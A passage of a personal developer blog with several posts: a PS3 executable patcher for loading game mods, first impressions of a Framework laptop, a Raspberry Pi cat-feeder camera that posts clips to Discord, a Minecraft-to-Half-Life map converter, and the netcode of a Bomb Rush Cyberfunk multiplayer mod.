Luckily, I didn’t need to swamp around in here for very long to figure out what I was doing. My good friend Emma works on a mod for Rock Band 3 called RB3Enhanced and she maintains a fork of it for experimental PS3 support. She gave me some pointers on the PS3:

Executables are ELF files. Most executables are SELFs (the S stands for signed), which is a wrapper around ELF files with encryption.
Games boot through a SELF named EBOOT.BIN (compared to the previous PlayStation consoles’ BOOT.BIN). Some games use launchers that start other .selfs in the game directory, but most games just have their entire code in this single EBOOT.
Libraries on the PS3 are PRX files, which are fancy ELFs. There is a signed equivalent (SPRX). System libraries, and game libraries (if any), are packaged in this format and you can execute code from them.

PS3 game modding is primarily done through SPRX files. Developers will build a SPRX that gets loaded into the game process and then writes into executable memory to hook functions and do fun stuff.

Now, next question: how do you load a SPRX?

The long road of patching executables

I did what I usually do for answering these questions: opening a search engine. The first result was a post asking this question with zero replies. I found lots of posts from the 2010s, usually kids modding various shooter games and making tutorials (text or YouTube video). I saw a reference to a certain “SPRX ELF Builder” tool. (Let me make this very important that I do not endorse this tool and it’s a random closed source executable packed with UPX DO NOT USE THIS HOLY SHIT)

This tool works by taking in a decrypted EBOOT.BIN (usually named EBOOT.elf), doing some unknown closed-source magic on it, and then outputting a patched version. This patched version would load a .sprx from the PS3 hard drive using the path the user input into it. But how does it actually work? Well, time to reverse engineer it, I guess.

I ended up downloading it in a VM and opening it in IDA (sorry to Vector 35 for not using the Binary Ninja license I got a few months ago). As said above, it was packed with UPX, so I unpacked it and looked inside. It seemed to not have many interesting strings, and it was hard to follow the Qt signals for the buttons, so I tried just running it and see what it does.

I saw it create a file named “temporary_file.exe” and then freeze up. …What the hell? I opened that executable in IDA, and it turns out… this GUI is just a wrapper for someone else’s tool! This is part of the PS3 scene that annoys me - so many things taken and built on top one another, and along the way that credit and source gets lost.

I ran it from the command line, picking a random EBOOT from my PS3, and saw the string “Error: gcc build string not found”. …What???

I tried it on Rock Band 3, since Emma informed me it worked there. I ended up opening the original and patched versions in IDA and 010 Editor (a hex editor) to compare. It turns out that this program does two things:

Finds the GCC version string implanted into the executable by the compiler, and overwrites it with the path to your SPRX
Adds some shellcode into the entrypoint to load the SPRX, using that string

Clever, but cursed. It relying on the GCC version string like that was not great, because a handful of games I tried it on didn’t work because there wasn’t a version string.

This tool obviously had flaws, and it seemed like it was my only option. This left me with only one idea: What if I made my own patcher?

Local idiot butchers explanation of ELF file format

So. Let’s learn ELF files. (I used Wikipedia as a reference for this, by the way).

The file starts with a header that describes the target machine, architecture, endianness, and more. We can assume most of these values won’t ever change on the PS3, as all games target the same platform. There is also the fields for the offset and size of the program and section headers, which we’ll get into later.

After this, there is the program header table. This contains a list of chunks in the executable file that describe how they should be loaded - location in the file, what address it should appear at in memory, size, etc.

Then, the sections. Sections are just chunks of arbitrary data with some flags - usually there is a section for code, a section for data, and whatever else the compiler feels like adding.

Finally, there is the section header table, which defines names and areas of sections (sorta like the program header). This information is pretty much useless at runtime, and is mainly used for linking, from my understanding.

If we wanted to add custom code to this, we’d need to make our own section. The biggest problem is the program header would need to increase in size to add the new entry, shifting everything in the process. However, I mentioned that the main header contains the offsets of the program/section headers. These can actually be anywhere in the file (unless the parser of the ELF file is bugged), as long as the offset in the main header points to it.

Shifting everything in the executable may be possible to implement, but we can simply move the program header to the end of the file, and fill where it was originally with zeroes to not move anything.

I tried using the Rust library object and the Python library LIEF, but the former didn’t want to relocate the program header and the latter made RPCS3 fail to read the executable.

So, guess what: we’re doing it all from scratch, baby!

Creating SPRXPatcher

I ended up making my own tool, called SPRXPatcher, in C#. It’s under the MIT License and has worked with every game I’ve tested it with. But first, I want to talk about how it works.

As explained above, I’m adding my own section, then moving the program header to the end of the file and filling where it originally was with zeroes. The code I use is some assembly that Emma wrote for me, and it takes the address of the SPRX path and does the required syscalls to load it into memory.

The goal is pretty simple: assemble that code into shellcode, paste that shellcode into the executable at a certain address, put the inputted SPRX path next to the code in that section, and then modify the entrypoint to jump to that shellcode.

The ELF header contains the address of the entrypoint, but on the PS3 it’s actually an entry in the table of contents. Reading that gives us the “real” address of the entrypoint, and we can write out some instructions to jump there:

public uint[] BuildJump(uint address) {
    var upper = (ushort) (address >> 16);
    var lower = (ushort) (address & 0xFFFF);
    return [
        0x3D600000 | (uint) upper, // lis r11, upper
        0x616B0000 | (uint) lower, // ori r11, r11, lower
        0x7D6903A6,                // mtctr r11
        0x4E800420                 // bctr
    ];
}

This takes more instructions than a bl but allows us to reach the code no matter what, since there is a maximum jump limit (more on that later). It just writes the address into the r11 register, moves r11 into the counter register, and then branches to the counter register.

I then save all the registers to the stack, load the SPRX, restore the registers, run the instructions I overwrote in the entrypoint, and jump back. This does have a pretty big issue that if the first few instructions in the entrypoint are a branch, it may fail, but I haven’t ran into yet so I have no reason to fix it right now.

After the shellcode, I directly stick the string of the SPRX path there, so it’s all in the same section. I spent quite a while getting the ELF file to properly parse and export, and then getting the shellcode to work, but after about two days of effort: it works! To my knowledge, this is the first SPRX injector-patcher-thingy in recent times, and also maybe the first open source one? Unsure about that last one.

I tested this with RB3Enhanced, both in emulator and on a real console, and it worked. I was impressed it worked on a real console, given that relocating the program header is a known hard spot for ELF file loading.

Unfortunately, after this long, I didn’t actually have much energy to mod any games, but I did write a small hooking library which I want to talk about.

Hooking functions with only 60 wasted instructions

In some games I tried modding, hooks would randomly fail and crash. Why? Well, it turns out that the executables of some games were so large that it would try and jump more than it could for its maximum size, and then underflow and jump backwards (into 0xFFFF____ space). I joked about solving this with a Backwards Long Jump - making a section in the executable allocated at 0xFFFF0000 and then doing a bctr into my SPRX - but it was too much effort.

I ended up taking a look at how RB3Enhanced does its hooking (and asked Emma), and found out a few things I need to know:

Register r2 on the PlayStation 3 contains the address of the table of contents. When transitioning from game code to mod code, or vice versa, this needs to be handled appropriately. Getting the mod TOC is very easy, but the game TOC is best fetched by making a hook early in game startup and then setting a static variable to the value of r2.
As mentioned earlier, branches are a headache when hooking. I had to take special care to fix the branches if I encountered one.

The TOC was solved in RB3E with making a “stub function” that handled setting it, but it did a weird hack by copying the game’s TOC to solve having to fix it. I wanted to do a little better, so I would need two stub functions for this scenario. I came up with a very verbose, but functional hooking system:

A caller branches to the target function
The target function’s first four instructions are overwritten with a bctr to my stub
Writes the value of the link register to an address in memory
Sets the mod TOC
Jumps to my detour function
Sets the game TOC
Restores the link register from the memory address
Returns to the caller

The link register is saved and restored so that we can make our way back to the caller. I store the link register right after the return instruction. This is not thread safe, and a very verbose way of doing this, but it seems to be stable for my use cases.

Hooks also sometimes need to call the original function, though. For this, I made a second stub:

Saves the link register (again)
Sets the game TOC
The four instructions from the target function (that were overwritten with the branch to the first stub)
Jump to the fifth instruction of the function
Sets the mod TOC
Restores the link register (again)
Returns to the detour

I ended up needing to fix the branches here, as I said earlier in the section about SPRXPatcher. I did this by making four instructions for each instruction we overwrote, so sixteen instructions total. In the scenario I detected a branch, I would branch to that extra space and use the four instructions to bctr to the branch. This is a very wasteful approach, but again, it functions!

I ended up writing a few macros for this:

DETOUR(function_name, int /* return type */, void* self /* zero or more arguments */)
{
    LOG("Meow! :3");
    return function_name_orig(self);
}

void init_hooks() {
    HOOK(/* function addr */, function_name);
}

Pretty nice!

Closing thoughts

I enjoy the PS3 a lot more than I thought I would. My girlfriend has been spending a lot of time playing games on it, while I’ve been sitting here bashing my head against PowerPC assembly. ~~What a cute dynamic.~~

I want to give a lot of thanks to the PS3 Developer Wiki for a lot of knowledge, PSL1GHT and ps3toolchain (even if it hurt me internally to set up), Emma for her infinite wisdom, and a lot of my other nerd friends (a special shoutout to husky and Aly for helping me with some shellcode). I also stumbled upon libpsutil, which seems neat, but their hooking library obviously won’t work for me. :P

Even though this scene is kind of fading away slowly as I speak, it makes me happy to know there are still a handful of passionate people around. People who want to build stuff for the curiosity of it, not because they see free games and go WOOOOOOO. While searching for information on how to make SPRX files, I found this Reddit post. To quote:

I don’t know if I will. My intention was theoretical research. I was going to write stuff to gain knowledge and improve documentation. But - I’m sad to say this - the scene is in a very sorry state. Everyone is happy with how it is, because copied games can be run and that seems to be enough for most. So I’m really losing motivation.

I cannot even find generic high-level information, such as what SPRX plugins are loaded by, and into what processes. The only good source of information is psdevwiki, but it mostly contains reverse engineered specifications, which are nice to have as a reference while you’re writing stuff, but are completely useless to get something up and running.

It is absurd that there is so much homebrew software around written by a lot of different people, but all resources regarding how it was developed are already lost, after a few years of scene inactivity. I even tried going down the road of contacting a few active sceners, but some of the main communities are either offline or are not accepting new registrations.

So much lost knowledge! It breaks my heart.

This comment resonated with me a lot. It was made four years ago, and yet it still stands true. I call out to those in software development communities: please, please, please, make sure your tools are available and archived. Make sure your methods and knowledge are preserved. It lowers the barrier to entry, and most importantly, it makes sure the second generation of your community can still press on.

A console as old as me still brought me a lot of enjoyment this day, thanks to the friends I know who were willing to help me on my adventure. I am thankful that, even though the scene rots away in silence, there is still opportunity to learn and create and explore.

First experiences with the Framework Laptop

Thu, 02 May 2024 00:00:00 GMT

Note

This article was written earlier this year (March 18th) but I forgot about it until today. I’ll let my original thoughts speak for itself instead of updating it.

I bought a Framework Laptop (13-inch) a bit ago, and I’m absolutely in love with it. A friend encouraged me to write about it, so here’s what I did with it.

Configuration & checkout

I went with 32 GB of ram on the i5-1340P (13-inch 13th gen Intel), as the i7s didn’t seem to be as much of an improvement as they would cost. I’m a very big fan of the Expansion Cards system that is in use - I got two USB-C, two USB-A, and then spare SD card reader and HDMI cards in case I need them. I also got the DIY edition because it’s fun to assemble!

Turns out that my email on my Framework account was wrong because of a typo. Oops! I emailed support about it - they eventually got around to it, but only after the laptop arrived, so I had to log in with the typo’d email to get tracking information.

It arrived in 4 days, shipping from Taiwan to the eastern United States. The day before it arrived, the shipment stayed in a nearby city for the entire day, and I noted that on the FedEx website it indicated that the package was requested to be delivered on a weekday. Not great for me being impatient, but probably useful for someone.

Unboxing and assembly

The laptop arrived in a giant box of boxes with all the parts required to assemble it (including the screwdriver). Negative points for no gummy bears.

Opening the box itself, the laptop looks beautiful with no input cover or bezel on it. Every part is labeled with a QR code for repair information and sometimes some small text with extra info.

Assembly was simple, but I got a bit nervous putting in the RAM (“is it supposed to push down that much”) and the input cover (“oh god oh fuck what if I break this cable”). The installation was mostly slotting pieces together and allowing magnets to do the rest. The right side of the input cover being intentionally not aligned to the case until the bottom screws were tightened confused me.

My initial notes:

I’m a big fan of how the laptop looks, such that I haven’t even put any stickers on it yet.
Having manual kill switches for both audio and video at the top is a very big plus for me.
The keyboard feels surprisingly good! I expected struggle using it (given that I actively work with a split keyboard on my desk) but I was able to get accustomed to it almost instantly.

I plugged it in for charge, pressed the power button, and… the power indicator turned on and off. Uh oh!

I read online causes and read that the battery may be unplugged. It seemed fine, though, so I just let it sit for a few minutes to charge and tried again. Worked, lol.

Installation

I decided to go with Fedora (Workstation) for my operating system. I usually use NixOS, but I got quite tired of NixOS being NixOS, and I also wanted an excuse to use Fedora more.

Basically everything worked out of the box on Fedora (as advertised). I copied my SSH and PGP key over with a USB drive and imported them, and then installed Nix and cloned my dotfiles repository. home-manager brought everything automatically, minus the fonts for some reason? I manually created a fonts directory and installed a Nerd Font into it, because I didn’t want to bother.

I also had to create a custom session in GDM to get into awesome, and I had to tweak my configs to change my DPI/font size to match this screen. I then tried to open a terminal, and… nothing. Why?

I ran kitty in another terminal (GNOME Terminal) to see what was up:

julian@thegame:~$ kitty
[078 13:14:11.662882] [glfw error 65542]: GLX: No GLXFBConfigs returned
[078 13:14:11.662893] [glfw error 65545]: GLX: Failed to find a suitable GLXFBConfig
[078 13:14:11.662897] Failed to create GLFW temp window! This usually happens because of old/broken OpenGL drivers. kitty requires working OpenGL 3.3 drivers.

After a fair bit of googling, and realizing this only happened on packages I had installed from nixpkgs (glxgears worked), I found nixGL and installed it. I modified my dotfiles to use it, with blatant disregard for compatibility with my other machines (lol).

Most things worked out of the box. I also installed XIVLauncher and it managed to run FFXIV at a crisp 30 fps at 720p on low settings. That’s Intel for you!

Actually using it

I haven’t been using the laptop for very long, but I’ve already got a few comments about its use.

It performs pretty badly in games (expectedly). The 16-inch model is likely a lot better for people that need a dedicated GPU for gaming or creative work.
The screen isn’t that good in sunlight. I took it with me to a park in mid-day, and while it was usable, it wasn’t very easy to make out some things.
The keyboard feels very nice for me with the exception of the Backspace key, which seems to… squeak??? What???
The trackpad scrolls wayyyy too fast for my liking. There’s probably a way to configure the speed in software but I dunno how.
Brightness function keys didn’t work until I ran sudo grubby --update-kernel=ALL --args="module_blacklist=hid_sensor_hub". Volume function keys only seem to work when I press them really fast and also have another key down(???).
It compiles code about as fast as my own PC, which is impressive. Compiling pluggy both took around 11 seconds.

Setting up an automatic camera for my cat feeder

Sun, 28 Apr 2024 00:00:00 GMT

This is Goblin, one of my cats. She is very stupid.

In my house, we own an automatic cat feeder. This feeder has two bowls and dispenses kibble on a timer. A bonus of this feeder is that it has a camera on the front, allowing you to record motion of the cats eating and save it to a microSD card located inside of the feeder.

I wanted to take these videos and post them to my friends automatically, inspired by the Hello Street Cat streams and restreams. I researched the brand, coming to the conclusion that a previous model used Tuya but the one I own uses a new server. I planned to hook it up to my Home Assistant instance, but nobody had written an integration yet.

After a short bit of opening the mobile app in JADX and seeing the log messages being purely in Chinese, I decided I didn’t want to reverse engineer this protocol for the camera and I’d instead opt for a second one pointed at the feeder.

I found a spare Raspberry Pi laying around, sacrificed an old webcam, and bought a microSD card at the local Target. After some quick tape on the nearest cat tree:

Writing all of the code

First of all, I knew that I didn’t want a 24/7 live stream like Hello Street Cat, given that this will be a stream of my kitchen and I don’t live alone. I enjoyed the model of motion detected clips that the mobile app for the feeder does, but I didn’t want it to detect any motion if someone was passing by or it was a false positive. I decided that I would upload every clip for “staging” into a private Discord channel, and then require manual approvals to send to my friends.

Luckily, the steps of both detecting motion and capturing clips can be solved by the program just called motion. This was a simple sudo apt install motion on my Pi and it detected the USB camera without problem (presumably because of some driver in the Linux kernel carrying the support).

After enabling the web control (and turning off localhost-only access) in the config file, I was able to see a preview of the camera from the web server on port 8081. It worked!

The next step is to instruct motion to capture videos when it detects motion. This is as simple as setting movie_output on in the config file. Reading the file, there is also on_movie_end to specify a command to run when a movie finishes recording.

The architecture I worked out was:

motion records the movie, saves it as an .mkv, and calls my script with on_movie_end
My script uses ffmpeg to encode the .mkv as a .gif
The .gif gets uploaded to a local web server
The web server uploads the .gif to a private Discord channel
A Discord bot, running in the same codebase as the web server, detects approval (replying to the original message)
The .gif is forwarded to a public channel

I decided to go with TypeScript for this project, as it was a language I’ve written both web servers and Discord bots in. I didn’t really need type safety, and the compile steps take super long on the Pi, but I’m fine with it.

The upload script looks pretty simple:

#!/usr/bin/env sh
set -e

tmpfile="/tmp/nya$(date +%s).gif"
# Clean up even if the connection fails
trap "rm -rf $tmpfile" EXIT
# I stole this off of StackOverflow
ffmpeg -y -i $1 -vf "fps=10,scale=320:-1:flags=lanczos,split[s0][s1];[s0]palettegen[p];[s1][p]paletteuse" -loop 0 $tmpfile
# Upload it, making sure to retry if it fails (like the server restarting)
curl --connect-timeout 5 --max-time 10 --retry 500 --retry-delay 5 --retry-max-time 40 http://localhost:8300/stage -X POST -H "Content-Type: multipart/form-data" -F "image=@$tmpfile"
# Delete the original video to save space
rm -rf $1

Then, in the server, I just forward that .gif to a Discord bot (effectively using Discord as a CDN, lol):

router.post("/stage", async (ctx) => {
  const file = ctx.request.files!["image"] as import("formidable").File;
  const data = fs.readFileSync(file.filepath);
  await bot.createMessage(config.stagingChannel, {
    attachments: [
      {
        filename: Date.now() + ".gif",
        file: data
      }
    ]
  });
  ctx.status = 204;
  ctx.body = "";
});

I note that formidable makes a copy of the file upload in /tmp, which is literally exactly what I’m doing before I upload it, so I’m wasting double the memory by doing this (when I could just be passing the file path). But I don’t care.

I then wrote a simple handler that checks when I reply to a gif the bot posted with the content “publish”. It then takes the gif and forwards it to the public channel, reacting with a checkmark to my message and the original message. If a reaction is already present on the gif from the bot (meaning it already uploaded it), it skips it and does nothing.

For testing, I replayed a video that motion captured earlier that morning by calling the script manually. The result:

It works!

The code grows and grows

My friends seem to really enjoy the concept of this. As I mentioned it to them, though, some asked to bring it to their Discord server. Didn’t really plan for that, but I can do it! I changed the config file format to take a string array instead of a single string for the channel IDs to post in. It loops through every channel and attempts to post it.

…Then, another friend asked to bring it into their server, but they didn’t want to invite the bot (given it had message content intents) and instead asked me to add webhook support. That’s okay! Just a simple await fetch. …And then another friend asked for a webhook! Okay, yep, yeah, this is getting a little bit out of hand for a thing that posts gifs but I can make it support multiple webhooks too.

And then a friend asked me to have the bot DM them personally when a new gif is posted so they don’t miss it. Sigh. I planned ahead for this one and made it an array to start with.

I also added integration with the Mastodon API, so anyone who wants to see it can follow my cats on the fediverse. I considered adding Twitter support, but I feared I didn’t have a spare phone number to use in case the account got locked. I also got asked to add Bluesky support but it looks like they don’t have the capability for custom gifs(?????).

I was also asked for a website, but I don’t want to deal with another service running on another server (especially when my infrastructure is all Nix in the middle of current events). Maybe some day.

It now takes like ten seconds to upload the gif everywhere, but I think it’s a fun idea. I hope people enjoy staring at my cats or something.

Converting Minecraft maps to Half-Life 1

Sun, 04 Feb 2024 00:00:00 GMT

Over the past week, I’ve been working on porting a Minecraft map to Half-Life 1 for my girlfriend’s birthday. I accomplished this with a mix of writing code (Rust, Python, C#), manual work in J.A.C.K., and manual asset editing in paint.net. The code powering this map is open source on GitHub here. I’ll update this post with a link to download the map when it’s ready for the public.

Exporting the world

The original map is a large castle called Ketamine Keep that I built back in 2020 with my girlfriend and some friends. I don’t want to port the entire world, but rather the build itself, so I used a schematic. A schematic is a Minecraft modding term for a file that contains information about a structure. More specifically, I’ll be using the Litematica mod.

I have a world download saved on my file server, so I opened it up and started carving around it. It’s important to remove the extra ground below it, because it increases the amount of blocks inside of the build for no benefit.

The Barrier block (an invisible block that blocks passage) can be used to represent clip brushes in the schematic, and then another one can be used for the skybox (I chose Tinted Glass):

I also removed the lights outside of the skybox (to prevent entity leak errors at build time) and killed the bats flying around beneath the ground. After setting up the build, I exported it to a .litematic file. This file format is gzip compressed NBT data. I attempted to parse it in Rust originally (using rustmatica), but it was reporting incorrect block positions. I also tried parsing the NBT data by hand (using simdnbt), but I didn’t understand it. To solve this, I just used the litemapy Python library to export it as a massive JSON file. Wasteful, but it works.

After reading how to set up J.A.C.K., I used the lovely WadMaker command line tool to pack some Minecraft textures for the map. The textures are .jpgs located in the Minecraft .jar file, so I found it on disk in my Prism Launcher libraries folder and opened it in 7-Zip.

Pro tip: disabling texture filtering in the game settings helps the textures look not garbage. I did not learn that this existed until a bit later, so you’ll have to deal with muddy screenshots for now.

Now comes porting the actual map!

Generating the map

I’ll be outputting a .vmf from the script, which is a text-based format that represents the map. I chose to do this in Rust because it’s :rocket: blazingly fast :rocket: and good enough for the job.

I made a blank .vmf in J.A.C.K. and opened it in a text editor, using it as a base. A basic .vmf contains some entities and a world object, which looks something like this:

world
{
  "id" "0"
  "mapversion" "1"
  "classname" "worldspawn"

  solid
  {
    "id" "1"
    side
    {
      "id" "2"
      (etc..)
    }
  }
}

entity
{
  "id" "8"
  "classname" "info_player_start"
  "origin" "0 0 0"
  "angles" "0 0 0"
}

The world object contains all solid brushes, which each have multiple sides. Entities are not included in the world object. This seems remarkably similar to the VDF file format, from my experience. It’s JSON-like with loose children, so I guess it’s more like XML?

I approached this by building a virtual voxel world in the program out of the schematic, which I’ll just represent as a HashMap<Vector3, Voxel> - where a Voxel contains the block ID and its block state (which is basically a key value dictionary).

It’ll need to convert the coordinate space from Minecraft to GoldSrc, though. Googling, it seems that 1 Minecraft unit (1 meter) = roughly 40 GoldSrc units. Minecraft models operate in units of 16 per block, so I’ll go with 48 units to make it easily scalable by 3. GoldSrc is also Z up, so it needs to swap Y and Z.

For now, let’s only worry about solid blocks and skip the rest. That means I can represent each block as a brush with six faces, and then output a .vmf with a light entity and an info_player_start. Filtering to only the stone bricks:

Seems to work, but this is very unoptimized, as each block on the wall is a single brush instead of one large brush. How can this be improved?

Writing the world’s worst greedy meshing algorithm

I implemented a system known as “greedy meshing” for merging blocks together. The algorithm can be built in a very simple way: grow in one direction as much as possible, then the next, then the next. Repeat for every block in the mesh. You stop in one of these cases:

You hit a block with a different ID or properties
You hit the edge of the schematic
You hit another existing box

I implement some weird version of flood fill on each block to group the same blocks into “clumps”, and then I run the greedy meshing algorithm on each clump. I also try all permutation of direction orders (X->Y->Z, Z->X->Y, Y->X->Z, etc.) and pick the one with the least brushes. This process only takes about two seconds to run on my computer in release thanks to rayon, which does it all in parallel for me.

This is certainly not the best way to do this, and I probably got some terminology wrong, and it’s not really meshing since I just treat it as a giant box with two coordinates, but it works!

I special cased the Barrier and Tinted Glass blocks to use the clip/sky textures as discussed earlier, and then opened it for the first compile.

As expected, the lighting is bad and the textures look extremely bad. Blocks that don’t have their textures in the .wad are replaced with a light pink for now. I chose to focus on the textures and lighting.

Making it look a bit better

Solving the lighting is simple: just use the lighting from the game itself! We placed down torches in the castle when originally building it, so I’ll just spawn a light entity where each torch is. I also used the lights.rad file to make the glowstone emit some light, and set up a light_environment, so everything should look a lot nicer after it.

The textures look like they’re packed multiple times more into the block than they should be. From my understanding, this is because they’re 16x16, but the blocks are 48x48. Setting the UV scale to 3 (and aligning the V by 16 / 3 = ~5.33) seems to make the textures fit perfectly onto the brushes.

I planned to do most of the non-full-block geometry by hand, but one small thing that’s easy to do is lower the path blocks slightly for immediately looking a bit better:

if r#box.id == "dirt_path" {
    max.2 -= MC_TO_HAMMER / 16.;
}

I found on the Minecraft wiki that the sizing was 15/16 units of a block, which can be double checked by opening the block .json:

{
  "from": [0, 0, 0],
  "to": [16, 15, 16]
}

Adding leaves and glass

To do glass, just tie each glass brush to a func_breakable entity. It would be smarter to include all clumps in a single entity, but that required a bit of reworking in my code, so I ended up just fixing those cases by hand (given how little glass there is in the map). Leaves are a similar deal, but with func_illusionary.

For the transparency, WadMaker automatically handles it for us, as long as the texture filename starts with {. What a perfectly sane and normal thing to do.

Handling block faces

The block state of a block looks something like this:

minecraft:furnace[facing=north,lit=false]

After stripping the block identifier and the brackets to just get facing=north,lit=false, it can be split once more by commas and equal signs to form a dictionary. From this, I can just pick what texture I want for each face with a match statement:

let props = util::parse_properties(&r#box.properties);
let face = props.get("facing").map(|s| s.as_str()).unwrap_or("north");
let face = match face {
    "north" => Face::North,
    "east" => Face::East,
    "south" => Face::South,
    "west" => Face::West,
    "up" => Face::Top,
    "down" => Face::Bottom,
    _ => unreachable!(),
};

for side_id in 0..6 {
    let texture = match r#box.id.as_str() {
        "furnace" => {
            if side_id == Face::Top as usize {
                "furnace_top".to_string()
            } else if side_id == face as usize {
                "furnace_front".to_string()
            } else {
                "furnace_side".to_string()
            }
        }

        // more code here for other textures
    };

    // more code here for assembling the side
}

Handling models

The last thing I did before starting work on it manually was creating models automatically. To do this, I used Blockbench to convert the models to .objs manually, and then used tobj to load it. I then converted the coordinates in the .obj into a .smd file and shelled out to StudioMDL to compile it.

StudioMDL expects the textures to be 8 bit BMP files, and most libraries and tools I tried failed to convert it. It also requires that if transparency is used, it’s the last color of the BMP palette. I ended up writing a small C# script to convert them using System.Drawing, and manually cropped the textures with animations (like fire) to a single frame. Most textures were 16x16 and reused colors, so I never hit the color limit (and theoretically if I did I would’ve only needed to approximate one color).

I forgot to translate Y up into Z up for the models, so I ended up rotating them in the entities in the map. Unfortunately, GoldSrc really did not like 1000 grass entities existing, and I started hitting weird render limits and entities phasing out of existence on recompiles/only being visible from certain blocks in the map. While I ended up not using this code as much as I wanted to, and it required a lot of manual effort, I still think it’s cool!

What was done by hand

A lot more was done by hand:

proper nodraw on faces that were touching other blocks
fixing brush entities and clumps
foliage, because models were unreliable
fluids
blocks with weird collisions (stairs, slabs, fences, ladders)
block entities (chests)
other spawns and items that made it a deathmatch map

I also made a skybox, which I just used a random panorama screenshot mod off of Modrinth (because my own broke, lol). I took it in an empty world at noon, so it’s just the sky, some clouds, and the sun. Minecraft’s internal panorama code generates 6 square screenshots, so it was very easy to port (just getting the orientation right, resizing them, and making .bmp/.tga files).

The final result

We’re going to eventually play this map on my girlfriend’s birthday as a large chaotic party. While the code is in no way ready for other people to use it, I still published it on GitHub, in the hopes it’ll benefit someone as insane as me.

How I made Bomb Rush Cyberfunk multiplayer

Thu, 30 Nov 2023 00:00:00 GMT

On August 18th, Bomb Rush Cyberfunk released on Steam. On August 23rd, I made my first commit to Slop Crew, a multiplayer mod I made for it. Let’s talk about how I made it!

Keep in mind that the technical details here will be talking about the Slop Crew 2.0 rewrite, which has vastly different netcode compared to the original 1.0 (which was a WebSocket transporting a custom binary format, which sucked).

1000 degree glowing knife versus UnityPlayer.dll

BRC is a Unity game. In Unity, the code you write is a set of C# scripts and classes, which get compiled from their source code when the game is built. This compilation can output in one of two ways, depending on what method is chosen by the game developer.

Mono: The C# code is compiled into the Common Intermediate Language (which I’ll just call IL from now on), and is evaluated while the game is running by the Mono runtime (the C# runtime Unity uses).
IL2CPP: The C# code is compiled into IL, but that IL is then transformed into C++ code, which is compiled into a native executable instead of being interpreted on the fly by the Mono runtime.

IL2CPP is significantly harder to reverse, given it becomes a native binary; you’d have to use a decompiler like IDA or Ghidra to understand how the code functions. Thankfully, Team Reptile chose to use the Mono runtime for BRC, meaning it is significantly easier to reverse. Tools like JetBrains dotPeek can convert the IL code back into C# - an approximation, albeit - which makes understanding and interacting with it significantly easier.

This allows us to read what the game is doing, but what about modifying it? We can use a plugin framework like BepInEx, which allows us to write C# code that has access to the Unity engine/game specific code, and then load that code at runtime when the game starts. We can use a library like Harmony to modify the game’s code, as well - without even having to touch the game files!

Wrangling hundreds of players efficiently

Inside the game’s code, there exists a method called SetupAIPlayerAt. This method creates a player object normally intended for the game’s AI, but we can instead hijack it to create a player for us, and then puppet it ourselves. But first, how are we going to communicate with other players?

Slop Crew implements a client-server model, such that multiple clients (in this case, multiple instances of the Slop Crew BepInEx plugin) connect to a single server, and the server exchanges messages between them. The client and server are both written in C#.

For networking, Slop Crew uses Valve’s GameNetworkingSockets, a library created as a standalone alternative to Steam’s networking systems that can be used in developers’ games. It is more intended for people making new games rather than trying to staple multiplayer onto a singleplayer one, but it’ll work. GameNetworkingSockets (which I’ll just call GNS from now on) is written in C++, but our plugin & server are written in C#. I found a C# wrapper around it on GitHub and modified it to my needs.

This has a problem in that the game is Windows-only, so the plugin will only ever run on native Windows or through Wine; but the server needs to run on both Windows and Linux natively. Thankfully, with a little bit of hackery to specify what platform it’s being compiled for (related to struct packing), we can make it run fine on both Windows and Linux.

We have a way to transport data between the plugin and server, but what data will we transport? In this case, we need a protocol, which I settled on Protocol Buffers (or just Protobuf for short). I can write my network schema in Protobuf, and then generate C# code to use that schema with. This means I could’ve picked other languages for the server, but I felt that writing it in C# was the best option (also because the 1.0 server was in C# as well).

Everything is a state machine if you look at it hard enough

We have a transport and protocol, but we need to exchange data between the plugin and server, along with managing their state on both sides. For this, I made three files for each part of the network: shared data, messages sent to the client, and messages sent to the server. This allows me to define a player in the network like this:

message Player {
  optional uint32 id = 1;
  string name = 2;
  Transform transform = 3;
  CharacterInfo character_info = 4;
  repeated CustomCharacterInfo custom_character_info = 5;
  bool is_community_contributor = 6;
  optional string representing_crew = 7;
}

message ServerboundHello {
  Player player = 1;
  optional string key = 2;
  int32 stage = 3;
}

When a player connects to Slop Crew and loads into the game, it sends a ServerboundHello packet to the server, which contains information about the player and the stage they’re in. The server groups players together by stage, which is just a number that corresponds to the ID inside the game. After assigning the player to a stage, it gives an updated list of all players in that stage to all players in that stage (effectively a list of players sent to every player in that list).

When the plugin receives this packet, it looks through to see what players are new/missing/updated, and handles it appropriately. The plugin creates an AssociatedPlayer class, which effectively ties the player object in the scene to the player object in the network.

Whenever a player’s character does something like play an animation or switch outfits/characters, it sends a packet to the server that then relays that packet to everyone else in the stage. For example, the PlayAnim method in the game’s code is hooked with Harmony to detect when it’s called for the current player, and then sends a packet to the server to relay to everyone else, playing the animation on everyone else’s client.

Managing score battles and races

The game has a concept of an “encounter” internally, for stuff like score battles in the game’s story. Slop Crew has its own encounter system, where both the client and server keeps track of its state. We use the in game phone to start encounters (which we were the first mod to add a custom phone app to!), which we hijack by simply hooking when it’s initialized and adding a custom app (along with bashing an app entry into the home screen).

When a player requests to battle another player, the server keeps track of that request and sends a notification to the other player. If the other player responds to that notification (sending another request), the server will detect both players have requested to battle each other, and put them into an encounter. Encounters have state managed on both the client and server that gets synchronized, but usually things like timers run independent of each other. When in a score battle, the plugin sends a packet with its updated score to the server, and the server routes that packet to the appropriate running encounter and handles it (updating the score and telling the other player).

Races are slightly more complicated in that the server also picks a random configuration for the race and serializes it over the network, which the plugin then spawns checkpoint objects into the game scene with.

Getting data in and out of other plugins

Slop Crew has a separate API assembly which other BepInEx plugin developers can use to receive info about the current connection. This also exposes an API to let people send custom packets to the stage, to add integration into their own plugin.

Slop Crew also uses some other plugins’ APIs, too - notably the CrewBoom API, which is used for syncing custom characters. Note that custom characters are only applied if you have the same character installed locally (would rather not repeat some FFXIV moon related mistakes).

Running more services on it, too

The Slop Crew server also runs an HTTP API with ASP.NET Core inside of it. This is used for linking your Discord account to your in game character - the server implements the Discord OAuth flow and then generates a unique key to insert into your config file. The frontend for the website is written in React and talks to the API running on the server, which saves information to a SQLite database. When a player connects and their plugin provides an authentication key, the server looks it up to find the account tied to it.

The Slop Crew server also has support for Graphite metrics, which I use to connect to a Grafana instance for player activity. This component is completely optional, but it’s fun to stare at the statistics. Right now, it only tracks population of a given state, total connection count, and how many people are using a certain version of the Slop Crew plugin.

Ensuring everything is safe & hostable

